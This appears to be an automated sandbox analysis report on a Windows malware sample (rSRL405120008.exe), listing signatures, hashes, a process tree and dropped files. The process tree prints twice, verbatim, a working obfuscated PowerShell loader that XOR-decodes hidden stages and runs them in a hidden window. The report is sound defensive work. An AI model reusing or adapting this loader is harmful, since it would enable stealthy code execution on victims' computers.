Analysis

  • max time kernel
    149s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 02:05

General

  • Target
    rSRL405120008.exe
  • Size 2.2MB
  • Sample260710-ch7xmac15x
  • SHA256 1b582f86043113376d91e7e699e0c7b9b62dce358a77a1ae0c7cd6f0d219a7d2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\rSRL405120008.exe
    "C:\Users\Admin\AppData\Local\Temp\rSRL405120008.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4420
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\6f16b86d-803e-452b-8183-8dc6396caf40.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:792
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=46-98;$w1mabY=''1nR6YA4gYx'';$mOnV08W6g=''96ceabe89299eae0a0befea188bcdeb8fbae9cbcffb7d8affee1c58396a6b5979dee8582fda8a3bdf2aa8cd19285ffaa96a0c6fec2cf9688ebbf9aa6e2948af38784fda29ff2a6e4a3d2969fb09e96b1eeb691e88abbeca287bdf8ab94c88a9bfb90c9e8cfa88badc1e694e991e4aff9dff8aba5eeaf9eb1fc91cbf0898fd99b879de286c9ffc187eb978a90cfa1a0d2c3b1c9fd8687f69295feb4bdf4a9b4beeda692ef9488d69b9ab0dca892d5b4a5ed94ab9ce18dbede9cb2c9f8c3b0a9f5b0c5abb9f2a8c090aa9d95e483b2e78f89b6dc82c8fda4a6f99cab9ce19eafad9a89d6a69486dcfd90c6b6ade4aec184ef9d95e4c6a0d987c6b6dc929ac4a0a9f086aba6d9a7cbd29f89c98780b7c88697cca6ade4aec184ef9d95e4c6a7f5a99fb6de92ccc6a4a5afa9b4beee9ec8da8988ac9b878bf6bccdd7b080a984b4bef68fbffb94a2cafc86b6ccbc8bd7ab9fa784bb98f7a0b0ca8a89f78fb1b1d386bdfec1daf6aca4e6ee95cbca8a88f39b86b6de968efea4adeeaf9ae7d6a6cada98a0d9ae839da8f5c1bbfee1dfa997ffcfbd88f9d3c6cab483b7dfa19ef59d82eaa49cbcbbeca3c89693eae3b6bcf8ab9cf59d8cc3f7c987cf82c0b2b48eea9e87a0f2aa9fb4a8a8f1a385b7e9b0a5a6c9adeca29e90fab79daac7b8eabf9abcfcecdcfec5dfb7e4dadf91a28df2909ff7a29df2ffecdcf0da90babace9cfeb3d5d39181fbae87f2d5a18cb2a48efc8e9fbbfeaa8ca7dbacfbb9de80faaa9cf39ecbbaa1d3ffd8ab8df287cbbaa1dd91f4b196e8da97bbb687a0e2bf8af9879eeca3d3f6eceabcf38485f2a292b6dfa58cfddbcfc1e48eb1fab09bf48896e3b0fed8fdb196ff8782f1a3d3bbb3e099b0d79fb2e99efebfb4c5dcdbc2b7b6d7aba69fa8f49285eaa29e95fab09dc1c9d1d2a292b6dab78bf99e89f2b4dbf6'';$xLUsU1Z3=''BRI8R14pRUsiagFPUxp8cRIaJVFbQCM8IlIUXmBjBVZiQyFxEBIoWRkAIw0xMDMcS0gQdmIXZHsFGihASBNcMWlyDVdvWQ1UaU1OfQ9WZUMDfWsCa2c8FVxYBlduACBaDlxcWAZXbgAgRxVTeEQHF04Nf2AAXG9IQxIuWCh7XFtqBUUfaU1FZzJGbVkNWC4YV1UCRmVbBU9oEVEuW3F+SAVPYipiZxVTYk4BEyMxJWlaFmIDLVVxDGdxSRZjAUBLLh4BHmw4KEZZey9LK3wVRnwXSxRsGW11T1FjAx5aKFIifhFVKwRIEyALeGARQTYCSwo3VCIlVgEiH0MbLEMrJlYcNRRLUmoEIyVPWHxKQxIubgZ9BxokCQMGY0Mof0gfbUMAEyMXMU81V3RZSn5pAGNwCFxrcF4BUjdKLE91aVk3T3UKYnNJFmsETRZqAnh3CRUwETdvRkQsP0EVXnlaBS9NJitIDjBoKn85XSs9Gj8GDUQfYARqNFwSK1kcTykFYVUAQF9MSwwoWzg6VQA+A10VMVI+O04Ia14CUGAFZHISVH9JQxs8QyhzBlQsEEQfYARqOjJHbl4QSW4NazxRHiwJA1xhTUBxD1V4RUQWJ1I+PWw4KEFEBidEPDNBCQEnRBsnQ2U0SWlPQgpNYhF4SVsISl8LVkUCf3FXBl9ZFlJpBCQwLFN4TgxedDg9SUgbLAoJQncRY3MTU2EDLFRqBmlnRhIrXxFVdBArNCEaKEoDXStDKHhNEisKSBsgLn92FFtgSUMXJ0Q8M0EeLAocDTNEJRlrEiwNRHxiFyFEE11vSBdIexBjZhUST30xGyoHaWcCTn9ICF5kFyw5B1t+XhAbMh9qYEF8bUABF0QzWTQcPwYgbhsnQyw0QRIsDUQ='';$c5KYar1=0x863F-0x2B9F;$vTFBGDUM=@();foreach($c in [char[]]$w1mabY){$vTFBGDUM+=[byte]($c-bxor0xAA)};$znMJz9w=$vTFBGDUM;$vTFBGDUM=@();foreach($c in [char[]]$w1mabY){$vTFBGDUM+=[byte]($c-bxor0x55)};$dij2csBYA=$vTFBGDUM;$vTFBGDUMoldR='''';$i=0;for($j=0;$j-lt$mOnV08W6g.Length;$j+=2){$vTFBGDUMoldR+=[char](([Convert]::ToInt32($mOnV08W6g.Substring($j,2),16))-bxor$znMJz9w[$i++%$znMJz9w.Length])};$eveL4ucI=$vTFBGDUMoldR;$vTFBGDUMoldB=[Convert]::FromBase64String([regex]::Replace($xLUsU1Z3, ''$vTFBGDUM'', ''''));$vTFBGDUMoldR='''';$i=0;for($j=0;$j-lt$vTFBGDUMoldB.Length;$j++){$vTFBGDUMoldR+=[char]($vTFBGDUMoldB[$j]-bxor$dij2csBYA[$i++%$dij2csBYA.Length])};$sku2LCA5=$vTFBGDUMoldR;$gxSj2u=$eveL4ucI+$sku2LCA5;.($env:ComSpec[4,26,25]-join'''') $gxSj2u"'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2840
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=46-98;$w1mabY='1nR6YA4gYx';$mOnV08W6g='96ceabe89299eae0a0befea188bcdeb8fbae9cbcffb7d8affee1c58396a6b5979dee8582fda8a3bdf2aa8cd19285ffaa96a0c6fec2cf9688ebbf9aa6e2948af38784fda29ff2a6e4a3d2969fb09e96b1eeb691e88abbeca287bdf8ab94c88a9bfb90c9e8cfa88badc1e694e991e4aff9dff8aba5eeaf9eb1fc91cbf0898fd99b879de286c9ffc187eb978a90cfa1a0d2c3b1c9fd8687f69295feb4bdf4a9b4beeda692ef9488d69b9ab0dca892d5b4a5ed94ab9ce18dbede9cb2c9f8c3b0a9f5b0c5abb9f2a8c090aa9d95e483b2e78f89b6dc82c8fda4a6f99cab9ce19eafad9a89d6a69486dcfd90c6b6ade4aec184ef9d95e4c6a0d987c6b6dc929ac4a0a9f086aba6d9a7cbd29f89c98780b7c88697cca6ade4aec184ef9d95e4c6a7f5a99fb6de92ccc6a4a5afa9b4beee9ec8da8988ac9b878bf6bccdd7b080a984b4bef68fbffb94a2cafc86b6ccbc8bd7ab9fa784bb98f7a0b0ca8a89f78fb1b1d386bdfec1daf6aca4e6ee95cbca8a88f39b86b6de968efea4adeeaf9ae7d6a6cada98a0d9ae839da8f5c1bbfee1dfa997ffcfbd88f9d3c6cab483b7dfa19ef59d82eaa49cbcbbeca3c89693eae3b6bcf8ab9cf59d8cc3f7c987cf82c0b2b48eea9e87a0f2aa9fb4a8a8f1a385b7e9b0a5a6c9adeca29e90fab79daac7b8eabf9abcfcecdcfec5dfb7e4dadf91a28df2909ff7a29df2ffecdcf0da90babace9cfeb3d5d39181fbae87f2d5a18cb2a48efc8e9fbbfeaa8ca7dbacfbb9de80faaa9cf39ecbbaa1d3ffd8ab8df287cbbaa1dd91f4b196e8da97bbb687a0e2bf8af9879eeca3d3f6eceabcf38485f2a292b6dfa58cfddbcfc1e48eb1fab09bf48896e3b0fed8fdb196ff8782f1a3d3bbb3e099b0d79fb2e99efebfb4c5dcdbc2b7b6d7aba69fa8f49285eaa29e95fab09dc1c9d1d2a292b6dab78bf99e89f2b4dbf6';$xLUsU1Z3='BRI8R14pRUsiagFPUxp8cRIaJVFbQCM8IlIUXmBjBVZiQyFxEBIoWRkAIw0xMDMcS0gQdmIXZHsFGihASBNcMWlyDVdvWQ1UaU1OfQ9WZUMDfWsCa2c8FVxYBlduACBaDlxcWAZXbgAgRxVTeEQHF04Nf2AAXG9IQxIuWCh7XFtqBUUfaU1FZzJGbVkNWC4YV1UCRmVbBU9oEVEuW3F+SAVPYipiZxVTYk4BEyMxJWlaFmIDLVVxDGdxSRZjAUBLLh4BHmw4KEZZey9LK3wVRnwXSxRsGW11T1FjAx5aKFIifhFVKwRIEyALeGARQTYCSwo3VCIlVgEiH0MbLEMrJlYcNRRLUmoEIyVPWHxKQxIubgZ9BxokCQMGY0Mof0gfbUMAEyMXMU81V3RZSn5pAGNwCFxrcF4BUjdKLE91aVk3T3UKYnNJFmsETRZqAnh3CRUwETdvRkQsP0EVXnlaBS9NJitIDjBoKn85XSs9Gj8GDUQfYARqNFwSK1kcTykFYVUAQF9MSwwoWzg6VQA+A10VMVI+O04Ia14CUGAFZHISVH9JQxs8QyhzBlQsEEQfYARqOjJHbl4QSW4NazxRHiwJA1xhTUBxD1V4RUQWJ1I+PWw4KEFEBidEPDNBCQEnRBsnQ2U0SWlPQgpNYhF4SVsISl8LVkUCf3FXBl9ZFlJpBCQwLFN4TgxedDg9SUgbLAoJQncRY3MTU2EDLFRqBmlnRhIrXxFVdBArNCEaKEoDXStDKHhNEisKSBsgLn92FFtgSUMXJ0Q8M0EeLAocDTNEJRlrEiwNRHxiFyFEE11vSBdIexBjZhUST30xGyoHaWcCTn9ICF5kFyw5B1t+XhAbMh9qYEF8bUABF0QzWTQcPwYgbhsnQyw0QRIsDUQ=';$c5KYar1=0x863F-0x2B9F;$vTFBGDUM=@();foreach($c in [char[]]$w1mabY){$vTFBGDUM+=[byte]($c-bxor0xAA)};$znMJz9w=$vTFBGDUM;$vTFBGDUM=@();foreach($c in [char[]]$w1mabY){$vTFBGDUM+=[byte]($c-bxor0x55)};$dij2csBYA=$vTFBGDUM;$vTFBGDUMoldR='';$i=0;for($j=0;$j-lt$mOnV08W6g.Length;$j+=2){$vTFBGDUMoldR+=[char](([Convert]::ToInt32($mOnV08W6g.Substring($j,2),16))-bxor$znMJz9w[$i++%$znMJz9w.Length])};$eveL4ucI=$vTFBGDUMoldR;$vTFBGDUMoldB=[Convert]::FromBase64String([regex]::Replace($xLUsU1Z3, '$vTFBGDUM', ''));$vTFBGDUMoldR='';$i=0;for($j=0;$j-lt$vTFBGDUMoldB.Length;$j++){$vTFBGDUMoldR+=[char]($vTFBGDUMoldB[$j]-bxor$dij2csBYA[$i++%$dij2csBYA.Length])};$sku2LCA5=$vTFBGDUMoldR;$gxSj2u=$eveL4ucI+$sku2LCA5;.($env:ComSpec[4,26,25]-join'') $gxSj2u
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4436
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bvqi0ulu\bvqi0ulu.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2088
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA66.tmp" "c:\Users\Admin\AppData\Local\Temp\bvqi0ulu\CSCFD52CD7EA9AD4956AA56566DE6C7F.TMP"
              6⤵
                PID:4896

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 60292489db6d4ba2a3e4448639fbe7fa2261be477f63ef09bca0b55e520a4777
          • MD5 SHA1 SHA512 TLSH

          6f16b86d-803e-452b-8183-8dc6396caf40.bat

          • Path C:\Users\Admin\AppData\Local\Temp\6f16b86d-803e-452b-8183-8dc6396caf40.bat
          • Size 7KB
          • SHA256 e62ec42565f06678527af0e3bf9eeaaa0b81fb2445894a88dc511b8b045b9b25
          • MD5 SHA1 SHA512 SSDEEP TLSH

          RESA66.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RESA66.tmp
          • Size 1KB
          • SHA256 a73b4360112ea24de3c580ff0017187dcf9176f653097b2ad62fbe94a026f31e
          • MD5 SHA1 SHA512 TLSH

          bvqi0ulu.dll

          • Path C:\Users\Admin\AppData\Local\Temp\bvqi0ulu\bvqi0ulu.dll
          • Size 3KB
          • SHA256 ff9801526e1c0f39b5751297765d6270d2de99c207c2a72ee090f2d0afbf6c8a
          • MD5 SHA1 SHA512 TLSH

          CSCFD52CD7EA9AD4956AA56566DE6C7F.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\bvqi0ulu\CSCFD52CD7EA9AD4956AA56566DE6C7F.TMP
          • Size 652B
          • SHA256 b7bbc05ea4a485b4449d4e9ee074494f3aefb3b74fd665aa651f0307c0a4e7dc
          • MD5 SHA1 SHA512 TLSH

          bvqi0ulu.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\bvqi0ulu\bvqi0ulu.0.cs
          • Size 213B
          • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
          • MD5 SHA1 SHA512 TLSH

          bvqi0ulu.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\bvqi0ulu\bvqi0ulu.cmdline
          • Size 369B
          • SHA256 f18177d4d261f1a9d40d2a1b897c35149a143bf4b36e1ae3f1ed2bbf6fa8a387
          • MD5 SHA1 SHA512 TLSH

          memory/2840-11-0x00007FFD6B1B0000-0x00007FFD6BB54000-memory.dmp

          memory/2840-13-0x00007FFD6B1B0000-0x00007FFD6BB54000-memory.dmp

          memory/2840-10-0x00007FFD6B1B0000-0x00007FFD6BB54000-memory.dmp

          memory/2840-9-0x00007FFD6B1B0000-0x00007FFD6BB54000-memory.dmp

          memory/2840-8-0x00000203F1A90000-0x00000203F1AB2000-memory.dmp

          memory/4420-0-0x00007FFD6B33F000-0x00007FFD6B340000-memory.dmp

          memory/4420-17-0x00007FFD6B1B0000-0x00007FFD6BB54000-memory.dmp

          memory/4420-5-0x00007FFD6B1B0000-0x00007FFD6BB54000-memory.dmp

          memory/4420-3-0x00007FFD6B1B0000-0x00007FFD6BB54000-memory.dmp

          memory/4420-1-0x0000000000750000-0x0000000000986000-memory.dmp

          memory/4436-30-0x000002ABB5900000-0x000002ABB5908000-memory.dmp

          memory/4436-31-0x000002AB9D4D0000-0x000002AB9D4EA000-memory.dmp